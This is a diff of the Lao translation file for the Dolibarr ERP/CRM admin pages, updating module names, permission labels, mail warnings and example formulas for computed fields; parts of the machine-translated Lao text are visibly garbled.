      This parameter is useless on a Windows server. SeeWikiForAllTeam=ເບິ່ງທີ່ ໜ້າ ວິກິພີເດຍສໍາລັບລາຍຊື່ຜູ້ປະກອບສ່ວນແລະການຈັດຕັ້ງຂອງເຂົາເຈົ້າ UseACacheDelay= ຊັກຊ້າ ສຳ ລັບການຕອບກັບການສົ່ງອອກແຄດເປັນວິນາທີ (0 ຫຼືຫວ່າງເປົ່າໂດຍບໍ່ມີແຄດ) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=ເປັນເອກະລັກ Boolean=Boolean (ກ່ອງເຄື່ອງoneາຍນຶ່ງ) ExtrafieldPhone = ໂທລະສັບ ExtrafieldPrice = ລາຄາ +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = ອີເມລ ExtrafieldUrl = URL +ExtrafieldIP = IP ExtrafieldSelect = ເລືອກລາຍຊື່ ExtrafieldSelectList = ເລືອກຈາກຕາຕະລາງ ExtrafieldSeparator=ຕົວຂັ້ນ (ບໍ່ແມ່ນຊ່ອງຂໍ້ມູນ) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=ກ່ອງເຄື່ອງາຍ ExtrafieldCheckBoxFromList=ກ່ອງເຄື່ອງາຍຈາກຕາຕະລາງ ExtrafieldLink=ເຊື່ອມຕໍ່ຫາວັດຖຸ ComputedFormula=ຊ່ອງຂໍ້ມູນທີ່ ຄຳ ນວນແລ້ວ -ComputedFormulaDesc=ເຈົ້າສາມາດໃສ່ສູດຢູ່ທີ່ນີ້ໂດຍໃຊ້ຄຸນສົມບັດອື່ນຂອງວັດຖຸຫຼືລະຫັດ PHP ໃດ ໜຶ່ງ ເພື່ອໃຫ້ໄດ້ຄ່າທີ່ຄໍານວນແບບເຄື່ອນໄຫວ. ເຈົ້າສາມາດໃຊ້ສູດທີ່ເຂົ້າກັນໄດ້ກັບ PHP ລວມທັງເຄື່ອງ"າຍ "?" ຕົວປະຕິບັດເງື່ອນໄຂ, ແລະປະຕິບັດຕາມວັດຖຸທົ່ວໂລກ: $ db, $ conf, $ langs, $ mysoc, $ user, $ object .
      ຄໍາເຕືອນ : ມີພຽງບາງຄຸນສົມບັດຂອງ $ object ທີ່ມີຢູ່. ຖ້າເຈົ້າຕ້ອງການຄຸນສົມບັດທີ່ບໍ່ໄດ້ໂຫຼດ, ພຽງແຕ່ເອົາວັດຖຸເຂົ້າໄປໃນສູດຂອງເຈົ້າຄືກັບຕົວຢ່າງທີສອງ.
      ການນໍາໃຊ້ຊ່ອງຂໍ້ມູນທີ່ຖືກຄໍານວນແລ້ວmeansາຍຄວາມວ່າເຈົ້າບໍ່ສາມາດປ້ອນຄ່າໃດ yourself ເຂົ້າມາຈາກອິນເຕີເຟດໄດ້. ນອກຈາກນັ້ນ, ຖ້າມີຂໍ້ຜິດພາດທາງໄວຍະກອນ, ສູດ ຄຳ ນວນອາດຈະບໍ່ສົ່ງຄືນຫຍັງເລີຍ.

      ຕົວຢ່າງສູດ:
      $ object-> id < 10 ? round($object-> id / 2, 2): ($ object-> id + 2 * $ user-> id) * (int) substr ($ mysoc-> zip, )

      ຕົວຢ່າງເພື່ອໂຫຼດວັດຖຸໃa່
      (($ reloadedobj = societe ໃnew່ ($ db)) && ($ reloadedobj-> fetchNoCompute ($ obj-> id? $ obj-> id: ($ obj-> id: $ $- > ແຖວ: $ object-> id))> 0))? $ reloadedobj-> array_options ['options_extrafieldkey'] * $ reloadedobj-> capital / 5: '-1'

      ຕົວຢ່າງອື່ນ of ຂອງສູດເພື່ອບັງຄັບ load ຂອງ object ແລະ object ຫຼັກຂອງມັນ:
      (($ reloadedob )) && ($ reloadedobj-> fetchNoCompute ($ object-> id)> 0) && ($ secondloadedobj = ໂຄງການໃ(່ ($ db)) && ($ secondloadedobj-> fetchNoCompute ($ reloadedobob-> fk_project)> 0))? $ secondloadedobj-> ref: 'ບໍ່ພົບໂຄງການຂອງພໍ່ແມ່' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=ບ່ອນເກັບຂໍ້ມູນ ຄຳ ນວນຮ້ານ ComputedpersistentDesc=ການຄິດໄລ່ຊ່ອງຂໍ້ມູນພິເສດຈະຖືກເກັບໄວ້ໃນຖານຂໍ້ມູນ, ແນວໃດກໍ່ຕາມ, ຄ່າຈະຖືກຄິດໄລ່ຄືນໃwhen່ເມື່ອວັດຖຸຂອງຊ່ອງຂໍ້ມູນນີ້ຖືກປ່ຽນໄປເທົ່ານັ້ນ. ຖ້າຊ່ອງຂໍ້ມູນທີ່ຖືກຄໍານວນຂື້ນກັບວັດຖຸອື່ນຫຼືຂໍ້ມູນທົ່ວໂລກຄ່ານີ້ອາດຈະຜິດ !! ExtrafieldParamHelpPassword=ການປ່ອຍຊ່ອງນີ້ໃຫ້ຫວ່າງໄວ້meansາຍຄວາມວ່າຄ່ານີ້ຈະຖືກເກັບໄວ້ໂດຍບໍ່ມີການເຂົ້າລະຫັດ (ຊ່ອງຂໍ້ມູນຈະຕ້ອງເຊື່ອງໄວ້ດ້ວຍດາວຢູ່ເທິງ ໜ້າ ຈໍເທົ່ານັ້ນ).
      ຕັ້ງ 'ອັດຕະໂນມັດ' ເພື່ອໃຊ້ກົດການເຂົ້າລະຫັດເລີ່ມຕົ້ນເພື່ອບັນທຶກລະຫັດຜ່ານໃສ່ຖານຂໍ້ມູນ (ຈາກນັ້ນຄ່າທີ່ອ່ານຈະເປັນ hash ເທົ່ານັ້ນ, ບໍ່ມີທາງທີ່ຈະດຶງເອົາຄ່າເດີມໄດ້) @@ -477,7 +479,7 @@ InstalledInto=ຕິດຕັ້ງໃສ່ໄດເຣັກທໍຣີ %s BarcodeInitForThirdparties=ການລິເລີ່ມບາໂຄດ ຈຳ ນວນຫຼາຍ ສຳ ລັບພາກສ່ວນທີສາມ BarcodeInitForProductsOrServices=ເລີ່ມຫຼືຕັ້ງບາໂຄດຄືນໃfor່ ສຳ ລັບຜະລິດຕະພັນຫຼືການບໍລິການ CurrentlyNWithoutBarCode=Currently, you have %s record on %s %s without barcode defined. -InitEmptyBarCode=Init value for next %s empty records +InitEmptyBarCode=Init value for the %s empty barcodes EraseAllCurrentBarCode=ລຶບຄ່າ barcode ປັດຈຸບັນທັງົດ ConfirmEraseAllCurrentBarCode=ເຈົ້າແນ່ໃຈບໍວ່າເຈົ້າຕ້ອງການລຶບຄ່າ barcode ປັດຈຸບັນທັງ?ົດ? AllBarcodeReset=ຄ່າ barcode ທັງົດຖືກລຶບອອກແລ້ວ @@ -501,7 +503,8 @@ WarningPHPMail=ຄໍາເຕືອນ: ການຕິດຕັ້ງເພື WarningPHPMailA=- ການໃຊ້ເຊີບເວີຂອງຜູ້ໃຫ້ບໍລິການອີເມລ increases ເພີ່ມຄວາມເຊື່ອຖືອີເມລ your ຂອງເຈົ້າໃຫ້ຫຼາຍຂຶ້ນ, ສະນັ້ນມັນເພີ່ມຄວາມສາມາດໃນການຈັດສົ່ງໄດ້ໂດຍທີ່ບໍ່ຖືກflagາຍວ່າເປັນສະແປມ. WarningPHPMailB=- ບາງຜູ້ໃຫ້ບໍລິການອີເມລ like (ເຊັ່ນ Yahoo) ບໍ່ອະນຸຍາດໃຫ້ເຈົ້າສົ່ງອີເມວຈາກເຊີບເວີອື່ນຫຼາຍກວ່າເຊີບເວີຂອງເຂົາເຈົ້າເອງ. ການຕັ້ງຄ່າປັດຈຸບັນຂອງເຈົ້າໃຊ້ເຊີບເວີຂອງແອັບພລິເຄຊັນເພື່ອສົ່ງອີເມວແລະບໍ່ແມ່ນເຊີບເວີຂອງຜູ້ໃຫ້ບໍລິການອີເມວຂອງເຈົ້າ, ສະນັ້ນຜູ້ຮັບບາງຄົນ (ອັນທີ່ເຂົ້າກັນໄດ້ກັບໂປຣໂຕຄໍ DMARC ທີ່ຈໍາກັດ), ຈະຖາມຫາຜູ້ໃຫ້ບໍລິການອີເມວຂອງເຈົ້າຖ້າເຂົາເຈົ້າສາມາດຍອມຮັບອີເມວຂອງເຈົ້າແລະບາງຜູ້ໃຫ້ບໍລິການອີເມວ. (ຄື Yahoo) ອາດຈະຕອບ "ບໍ່" ເພາະວ່າເຊີບເວີບໍ່ແມ່ນຂອງເຂົາເຈົ້າ, ສະນັ້ນອີເມລທີ່ເຈົ້າສົ່ງໄປນັ້ນຈໍານວນ ໜຶ່ງ ອາດຈະບໍ່ຖືກຍອມຮັບສໍາລັບການຈັດສົ່ງ (ຈົ່ງລະວັງໂຄຕ້າສົ່ງຂອງຜູ້ໃຫ້ບໍລິການອີເມລຂອງເຈົ້ານໍາ). WarningPHPMailC=- ການໃຊ້ເຊີບເວີ SMTP ຂອງຜູ້ໃຫ້ບໍລິການອີເມລ your ຂອງເຈົ້າເອງເພື່ອສົ່ງອີເມລ is ກໍ່ເປັນສິ່ງທີ່ ໜ້າ ສົນໃຈດັ່ງນັ້ນອີເມລ sent ທັງsentົດທີ່ສົ່ງຈາກແອັບພລິເຄຊັນກໍ່ຈະຖືກບັນທຶກໄວ້ໃນບັນຊີລາຍການ "ສົ່ງແລ້ວ" ຂອງກ່ອງຈົດyourາຍຂອງເຈົ້າ. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=ຖ້າຜູ້ໃຫ້ບໍລິການ SMTP ອີເມລຂອງເຈົ້າຕ້ອງການຈໍາກັດລູກຄ້າອີເມລ to ຫາບາງທີ່ຢູ່ IP (ຫາຍາກຫຼາຍ), ນີ້ແມ່ນທີ່ຢູ່ IP ຂອງຕົວແທນຜູ້ໃຊ້ຈົດ(າຍ (MUA) ສໍາລັບການສະEັກ ERP CRM ຂອງເຈົ້າ: %s . WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      ຕົວຢ່າງ:
      ສຳ ລັບ PageUrlForDefaultValuesList=
      ຕົວຢ່າງ:
      ສຳ ລັບ ໜ້າ ທີ່ເຮັດລາຍຊື່ພາກສ່ວນທີສາມ, ມັນແມ່ນ %s .
      ສໍາລັບ URL ຂອງໂມດູນພາຍນອກທີ່ຕິດຕັ້ງໃສ່ໄດເຣັກທໍຣີທີ່ກໍານົດເອງ, ບໍ່ລວມເອົາ "ກໍານົດເອງ" ດັ່ງນັ້ນໃຊ້ເສັ້ນທາງເຊັ່ນ mymodule/mypagelist.php ແລະບໍ່ແມ່ນ custom/mymodule/mypagelist.php.
      ຖ້າເຈົ້າຕ້ອງການຄ່າເລີ່ມຕົ້ນພຽງແຕ່ຖ້າ url ມີຕົວກໍານົດບາງອັນ, ເຈົ້າສາມາດໃຊ້ %s AlsoDefaultValuesAreEffectiveForActionCreate=ຍັງຈື່ໄວ້ວ່າການຂຽນທັບຄ່າເລີ່ມຕົ້ນ ສຳ ລັບການສ້າງແບບຟອມເຮັດວຽກໄດ້ສະເພາະ ໜ້າ ທີ່ຖືກອອກແບບຢ່າງຖືກຕ້ອງເທົ່ານັ້ນ (ສະນັ້ນດ້ວຍການປະຕິບັດຕົວກໍານົດການ = ສ້າງຫຼືປົກປ້ອງ ... ) EnableDefaultValues=ເປີດໃຊ້ງານການປັບແຕ່ງຄ່າມາດຕະຖານ -EnableOverwriteTranslation=ເປີດໃຊ້ການໃຊ້ການແປທີ່ຂຽນທັບແລ້ວ +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=ພົບເຫັນການແປພາສາ ສຳ ລັບລະຫັດທີ່ມີລະຫັດນີ້. ເພື່ອປ່ຽນຄ່ານີ້, ເຈົ້າຈະຕ້ອງແກ້ໄຂມັນຈາກ Home-Setup-translation. WarningSettingSortOrder=ຄໍາເຕືອນ, ການຕັ້ງຄໍາສັ່ງຈັດລຽງຕາມຄ່າເລີ່ມຕົ້ນອາດຈະເຮັດໃຫ້ເກີດຄວາມຜິດພາດທາງດ້ານເຕັກນິກໃນເວລາໄປຫາ ໜ້າ ລາຍການຖ້າຊ່ອງຂໍ້ມູນເປັນຊ່ອງຂໍ້ມູນທີ່ບໍ່ຮູ້ຈັກ. ຖ້າເຈົ້າປະສົບກັບຄວາມຜິດພາດດັ່ງກ່າວ, ກັບຄືນມາຫາ ໜ້າ ນີ້ເພື່ອເອົາການຈັດຮຽງລໍາດັບເລີ່ມຕົ້ນແລະຟື້ນຟູພຶດຕິກໍາມາດຕະຖານ. Field=ພາກສະຫນາມ @@ -643,11 +646,13 @@ Module2300Name=ວຽກທີ່ວາງແຜນໄວ້ Module2300Desc=ການຈັດການວຽກຕາມ ກຳ ນົດ (ນາມແcrງ cron ຫຼື chrono table) Module2400Name=ເຫດການ/ວາລະ Module2400Desc=ຕິດຕາມເຫດການ. ບັນທຶກເຫດການອັດຕະໂນມັດເພື່ອຈຸດປະສົງການຕິດຕາມຫຼືບັນທຶກເຫດການຫຼືການປະຊຸມດ້ວຍຕົນເອງ. ນີ້ແມ່ນໂມດູນຫຼັກສໍາລັບການຄຸ້ມຄອງຄວາມສໍາພັນຂອງລູກຄ້າຫຼືຜູ້ຂາຍທີ່ດີ. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=ລະບົບການຈັດການເອກະສານ / ການຈັດການເນື້ອໃນເອເລັກໂຕຣນິກ. ການຈັດລະບຽບເອກະສານທີ່ສ້າງຂຶ້ນຫຼືເກັບໄວ້ໂດຍອັດຕະໂນມັດຂອງເຈົ້າ. ແບ່ງປັນໃຫ້ເຂົາເຈົ້າໃນເວລາທີ່ທ່ານຕ້ອງການ. -Module2600Name=API/ການບໍລິການເວັບ (ເຊີບເວີ SOAP) +Module2600Name=API / Web services (SOAP server) Module2600Desc=ເປີດໃຊ້ງານເຊີບເວີ Dolibarr SOAP ໃຫ້ການບໍລິການ API -Module2610Name=API/ການບໍລິການເວັບ (ເຊີບເວີ REST) +Module2610Name=API / Web services (REST server) Module2610Desc=ເປີດໃຊ້ງານເຊີບເວີ Dolibarr REST ໃຫ້ການບໍລິການ API Module2660Name=ໂທຫາ WebServices (ລູກຄ້າ SOAP) Module2660Desc=ເປີດໃຊ້ງານລູກຄ້າການບໍລິການເວັບ Dolibarr (ສາມາດໃຊ້ເພື່ອຊຸກດັນຂໍ້ມູນ/ການຮ້ອງຂໍໄປຫາເຊີບເວີພາຍນອກ. ມີພຽງແຕ່ຄໍາສັ່ງຊື້ເທົ່ານັ້ນທີ່ຮອງຮັບໃນປະຈຸບັນ.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=ຄວາມສາມາດໃນການແປງ GeoIP Maxmind Module3200Name=ເອກະສານທີ່ບໍ່ສາມາດປ່ຽນແປງໄດ້ Module3200Desc=ເປີດໃຊ້ບັນທຶກເຫດການທາງທຸລະກິດທີ່ບໍ່ສາມາດປ່ຽນແປງໄດ້. ເຫດການຖືກເກັບໄວ້ໃນເວລາຈິງ. ໄມ້ທ່ອນເປັນຕາຕະລາງອ່ານຂອງເຫດການທີ່ມີລະບົບຕ່ອງໂສ້ເທົ່ານັ້ນທີ່ສາມາດສົ່ງອອກໄດ້. ໂມດູນນີ້ອາດຈະເປັນຂໍ້ບັງຄັບສໍາລັບບາງປະເທດ. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=ເຄືອຂ່າຍສັງຄົມ Module3400Desc=ເປີດໃຊ້ງານເຄືອຂ່າຍສັງຄົມເຂົ້າໄປໃນພາກສ່ວນທີສາມແລະທີ່ຢູ່ (skype, twitter, facebook, ... ). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=ເພີ່ມຄຸນສົມບັດເພື່ອຈັດການ Incoterms Module63000Name=ຊັບ​ພະ​ຍາ​ກອນ Module63000Desc=ຈັດການຊັບພະຍາກອນ (ເຄື່ອງພິມ, ລົດ, ຫ້ອງ, ... ) ສໍາລັບຈັດສັນໃຫ້ກັບເຫດການ -Permission11=ອ່ານໃບແຈ້ງ ໜີ້ ລູກຄ້າ +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=ສ້າງ/ແກ້ໄຂໃບແຈ້ງ ໜີ້ ລູກຄ້າ Permission13=ໃບແຈ້ງ ໜີ້ ລູກຄ້າບໍ່ຖືກຕ້ອງ Permission14=ກວດສອບໃບຮຽກເກັບເງິນຂອງລູກຄ້າ @@ -714,6 +724,7 @@ Permission27=ລຶບຂໍ້ສະ ເໜີ ທາງການຄ້າ Permission28=ສົ່ງອອກຂໍ້ສະ ເໜີ ທາງການຄ້າ Permission31=ອ່ານຜະລິດຕະພັນ Permission32=ສ້າງ/ດັດແກ້ຜະລິດຕະພັນ +Permission33=Read prices products Permission34=ລຶບຜະລິດຕະພັນ Permission36=ເບິ່ງ/ຈັດການຜະລິດຕະພັນທີ່ເຊື່ອງໄວ້ Permission38=ຜະລິດຕະພັນສົ່ງອອກ @@ -739,6 +750,7 @@ Permission79=ສ້າງ/ແກ້ໄຂການສະັກໃຊ້ Permission81=ອ່ານຄໍາສັ່ງຂອງລູກຄ້າ Permission82=ສ້າງ/ແກ້ໄຂຄໍາສັ່ງຂອງລູກຄ້າ Permission84=ກວດສອບ ຄຳ ສັ່ງຂອງລູກຄ້າ +Permission85=Generate the documents sales orders Permission86=ສົ່ງ ຄຳ ສັ່ງໃຫ້ລູກຄ້າ Permission87=ປິດອໍເດີລູກຄ້າສັ່ງ Permission88=ຍົກເລີກຄໍາສັ່ງຂອງລູກຄ້າ @@ -840,9 +852,9 @@ Permission286=ສົ່ງອອກລາຍຊື່ຜູ້ຕິດຕໍ່ Permission291=ອ່ານອັດຕາພາສີ Permission292=ກໍານົດການອະນຸຍາດກ່ຽວກັບອັດຕາພາສີ Permission293=ແກ້ໄຂອັດຕາພາສີຂອງລູກຄ້າ -Permission300=ອ່ານບາໂຄດ -Permission301=ສ້າງ/ປັບປຸງແກ້ໄຂ barcodes -Permission302=ລຶບບາໂຄດ +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=ອ່ານບໍລິການ Permission312=ມອບຫມາຍການບໍລິການ/ການສະຫມັກສັນຍາ Permission331=ອ່ານບຸກມາກ @@ -874,6 +886,7 @@ Permission525=ເຂົ້າເຖິງເຄື່ອງຄິດໄລ່ເ Permission527=ສິນເຊື່ອສົ່ງອອກ Permission531=ອ່ານບໍລິການ Permission532=ສ້າງ/ດັດແກ້ການບໍລິການ +Permission533=Read prices services Permission534=ລຶບການບໍລິການ Permission536=ເບິ່ງ/ຈັດການການບໍລິການທີ່ເຊື່ອງໄວ້ Permission538=ການບໍລິການສົ່ງອອກ @@ -937,7 +950,7 @@ Permission1190=ອະນຸມັດ (ການອະນຸມັດຄັ້ງ Permission1191=ຄໍາສັ່ງສົ່ງອອກຂອງຜູ້ສະ ໜອງ ແລະຄຸນລັກສະນະຂອງມັນ Permission1201=ໄດ້ຮັບຜົນຂອງການສົ່ງອອກ Permission1202=ສ້າງ/ແກ້ໄຂການສົ່ງອອກ -Permission1231=ອ່ານໃບແຈ້ງ ໜີ້ ຜູ້ຂາຍ +Permission1231=Read vendor invoices (and payments) Permission1232=ສ້າງ/ແກ້ໄຂໃບແຈ້ງ ໜີ້ ຜູ້ຂາຍ Permission1233=ກວດສອບໃບຮຽກເກັບເງິນຜູ້ຂາຍ Permission1234=ລຶບໃບຮຽກເກັບເງິນຜູ້ຂາຍ @@ -968,13 +981,14 @@ Permission3301=ສ້າງໂມດູນໃ່ Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=ອ່ານເນື້ອໃນເວັບໄຊທ Permission10002=ສ້າງ/ດັດແປງເນື້ອໃນເວັບໄຊທ ((ເນື້ອໃນ html ແລະ javascript) Permission10003=ສ້າງ/ດັດແປງເນື້ອໃນເວັບໄຊທ ((ລະຫັດ php ແບບເຄື່ອນໄຫວ). ອັນຕະລາຍ, ຕ້ອງສະຫງວນໃຫ້ກັບຜູ້ພັດທະນາທີ່ຖືກ ຈຳ ກັດ. @@ -1078,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=ປະເພດຂອງ ໜ່ວຍ SetupSaved=ບັນທຶກການຕັ້ງແລ້ວ SetupNotSaved=ບໍ່ໄດ້ບັນທຶກການຕັ້ງຄ່າ +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=ກັບໄປຫາລາຍການໂມດູນ BackToDictionaryList=ກັບໄປຫາລາຍການວັດຈະນານຸກົມ TypeOfRevenueStamp=ປະເພດຂອງສະແຕມພາສີ @@ -1219,7 +1237,7 @@ SetupDescription4= %s -> %s

      ຊອບແວນີ SetupDescription5=ລາຍການເມນູການຕັ້ງຄ່າອື່ນຈັດການຕົວກໍານົດການທາງເລືອກ. SetupDescriptionLink= %s - %s SetupDescription3b=ຕົວກໍານົດພື້ນຖານທີ່ໃຊ້ເພື່ອປັບແຕ່ງພຶດຕິກໍາເລີ່ມຕົ້ນຂອງແອັບພລິເຄຊັນຂອງເຈົ້າ (ເຊັ່ນ: ສໍາລັບລັກສະນະທີ່ກ່ຽວຂ້ອງກັບປະເທດ). -SetupDescription4b=ຊອບແວນີ້ແມ່ນຊຸດຂອງໂມດູນ/ຄໍາຮ້ອງສະຫມັກຈໍານວນຫຼາຍ. ໂມດູນທີ່ກ່ຽວຂ້ອງກັບຄວາມຕ້ອງການຂອງເຈົ້າຕ້ອງຖືກເປີດໃຊ້ແລະຕັ້ງຄ່າ. ລາຍການເມນູຈະປະກົດຂຶ້ນພ້ອມກັບການເປີດໃຊ້ໂມດູນເຫຼົ່ານີ້. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=ເຫດການຄວາມປອດໄພທີ່ຖືກກວດສອບ NoSecurityEventsAreAduited=ບໍ່ມີການກວດສອບເຫດການຄວາມປອດໄພ. ເຈົ້າສາມາດເປີດ ນຳ ໃຊ້ພວກມັນໄດ້ຈາກເມນູ %s Audit=ເຫດການຄວາມປອດໄພ @@ -1235,11 +1253,13 @@ BrowserName=ຊື່ຕົວທ່ອງເວັບ BrowserOS=OS ຂອງຕົວທ່ອງເວັບ ListOfSecurityEvents=ລາຍການເຫດການຄວາມປອດໄພຂອງ Dolibarr SecurityEventsPurged=ເຫດການຄວາມປອດໄພຖືກລຶບລ້າງແລ້ວ +TrackableSecurityEvents=Trackable security events LogEventDesc=ເປີດໃຊ້ງານການຕັດໄມ້ທ່ອນສໍາລັບເຫດການຄວາມປອດໄພສະເພາະ. ຜູ້ເບິ່ງແຍງລະບົບບັນທຶກຜ່ານເມນູ %s - %s . ຄຳ ເຕືອນ, ຄຸນສົມບັດນີ້ສາມາດສ້າງຂໍ້ມູນ ຈຳ ນວນຫຼວງຫຼາຍຢູ່ໃນຖານຂໍ້ມູນ. AreaForAdminOnly=ຕົວກໍານົດການຕັ້ງສາມາດກໍານົດໄດ້ໂດຍຜູ້ໃຊ້ບໍລິຫານ ເທົ່ານັ້ນ. SystemInfoDesc=ຂໍ້ມູນລະບົບແມ່ນຂໍ້ມູນທາງເທັກນິກຕ່າງcellທີ່ເຈົ້າໄດ້ຮັບໃນຮູບແບບການອ່ານເທົ່ານັ້ນແລະເບິ່ງເຫັນໄດ້ສໍາລັບຜູ້ບໍລິຫານເທົ່ານັ້ນ. SystemAreaForAdminOnly=ພື້ນທີ່ນີ້ມີໃຫ້ກັບຜູ້ໃຊ້ບໍລິຫານເທົ່ານັ້ນ. ການອະນຸຍາດຂອງຜູ້ໃຊ້ Dolibarr ບໍ່ສາມາດປ່ຽນແປງຂໍ້ຈໍາກັດນີ້ໄດ້. CompanyFundationDesc=ແກ້ໄຂຂໍ້ມູນຂອງບໍລິສັດ/ອົງກອນຂອງເຈົ້າ. ຄລິກທີ່ປຸ່ມ“ %s” ຢູ່ດ້ານລຸ່ມຂອງ ໜ້າ ເມື່ອສໍາເລັດແລ້ວ. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=ຖ້າເຈົ້າມີບັນຊີພາຍນອກ/ນັກບັນຊີ, ເຈົ້າສາມາດແກ້ໄຂຂໍ້ມູນຂອງມັນໄດ້ຢູ່ບ່ອນນີ້. AccountantFileNumber=ລະຫັດບັນຊີ DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1257,6 +1277,7 @@ TriggerActiveAsModuleActive=ທຣິກເກີຢູ່ໃນໄຟລ this GeneratedPasswordDesc=ເລືອກວິທີທີ່ຈະໃຊ້ ສຳ ລັບລະຫັດຜ່ານທີ່ສ້າງຂຶ້ນໂດຍອັດຕະໂນມັດ. DictionaryDesc=ໃສ່ຂໍ້ມູນການອ້າງອີງທັງົດ. ເຈົ້າສາມາດເພີ່ມຄຸນຄ່າຂອງເຈົ້າເປັນຄ່າເລີ່ມຕົ້ນ. ConstDesc=ໜ້າ ນີ້ອະນຸຍາດໃຫ້ເຈົ້າສາມາດແກ້ໄຂ (ລົບລ້າງ) ພາຣາມີເຕີທີ່ບໍ່ມີຢູ່ໃນ ໜ້າ ອື່ນ. ສ່ວນໃຫຍ່ເຫຼົ່ານີ້ແມ່ນຕົວກໍານົດທີ່ສະຫງວນໄວ້ສໍາລັບຜູ້ພັດທະນາ/ການແກ້ໄຂບັນຫາຂັ້ນສູງເທົ່ານັ້ນ. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=ຕົວກໍານົດການທີ່ກ່ຽວຂ້ອງກັບຄວາມປອດໄພອື່ນ All ທັງareົດຖືກກໍານົດຢູ່ທີ່ນີ້. LimitsSetup=ການຈໍາກັດ/ການຕັ້ງຄ່າຄວາມແມ່ນຍໍາ LimitsDesc=ເຈົ້າສາມາດກໍານົດຂອບເຂດຈໍາກັດ, ຄວາມຊັດເຈນແລະການເພີ່ມປະສິດທິພາບທີ່ໃຊ້ໂດຍ Dolibarr ຢູ່ທີ່ນີ້ @@ -1290,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=ເຈົ້າຕ້ອງດ YourPHPDoesNotHaveSSLSupport=ຟັງຊັນ SSL ບໍ່ມີຢູ່ໃນ PHP ຂອງເຈົ້າ DownloadMoreSkins=ຜິວ ໜັງ ເພີ່ມເຕີມເພື່ອດາວໂຫລດ SimpleNumRefModelDesc=ຕອບຕົວເລກອ້າງອີງໃນຮູບແບບ %syymm-nnnn ບ່ອນທີ່ yy ແມ່ນປີ, mm ເປັນເດືອນແລະ nnnn ແມ່ນຕົວເລກການເພີ່ມຂຶ້ນໂດຍອັດຕະໂນມັດຕາມລໍາດັບໂດຍບໍ່ມີການຕັ້ງຄ່າຄືນໃ່. +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=ຕອບຕົວເລກອ້າງອີງໃນຮູບແບບ %s-nnnn ບ່ອນທີ່ nnnn ເປັນຕົວເລກການເພີ່ມຂຶ້ນໂດຍອັດຕະໂນມັດຕາມ ລຳ ດັບໂດຍບໍ່ມີການຕັ້ງຄ່າຄືນໃ່. ShowProfIdInAddress=ສະແດງ ID ປະກອບອາຊີບພ້ອມທີ່ຢູ່ ShowVATIntaInAddress=ເຊື່ອງVາຍເລກ VAT 